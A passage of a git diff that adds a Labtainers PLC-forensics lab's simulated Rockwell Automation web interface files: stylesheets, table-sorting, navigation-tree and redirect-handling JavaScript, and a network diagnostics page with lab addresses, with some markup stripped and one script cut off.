LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/sorttable.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/sorttable.js new file mode 100644 index 000000000..e8f068b7e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/sorttable.js @@ -0,0 +1,171 @@ +var SORT_COLUMN_INDEX; + +function ts_getInnerText(el) { + if (typeof el == "string") return el; + if (typeof el == "undefined") { return el }; + if (el.innerText) return el.innerText; //Not needed but it is faster + var str = ""; + + var cs = el.childNodes; + var l = cs.length; + for (var i = 0; i < l; i++) { + switch (cs[i].nodeType) { + case 1: //ELEMENT_NODE + str += ts_getInnerText(cs[i]); + break; + case 3: //TEXT_NODE + str += cs[i].nodeValue; + break; + } + } + return str; +} + +function ts_resortTable(lnk) { + // get the span + var span; + for (var ci=0;ci + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork.html new file mode 100644 index 000000000..c6faa552e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork.html @@ -0,0 +1,17 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork.html new file mode 100644 index 000000000..50b4f09ab --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork.html @@ -0,0 +1,107 @@ + + +Rockwell Automation + + + + + +
+ + + + + + + + + + + + +
Diagnostic OverviewNetwork SettingsMessage ConnectionsEthernet Statistics
+ + + + + + + +

+ + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Network Interface
Ethernet Address (MAC)00:00:DE:AD:BE:EF
IP Address10.1.100.2
Subnet Mask255.255.0.0
Default Gateway10.1.0.2
Primary Name Server
Secondary Name Server
Default Domain Name
Host Name
Name ResolutionDNS Enabled
SMTP Server

+ + + + + + +
Ethernet Interface + Configuration
Obtain Network ConfigurationStatic

+ + + + + + + + + + + + +
Ethernet Link
Autonegotiate StatusAutonegotiate Speed and Duplex
Port Speed100 Mbps
Duplex ModeHalf Duplex

diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/diagnetwork_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagnetwork_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + 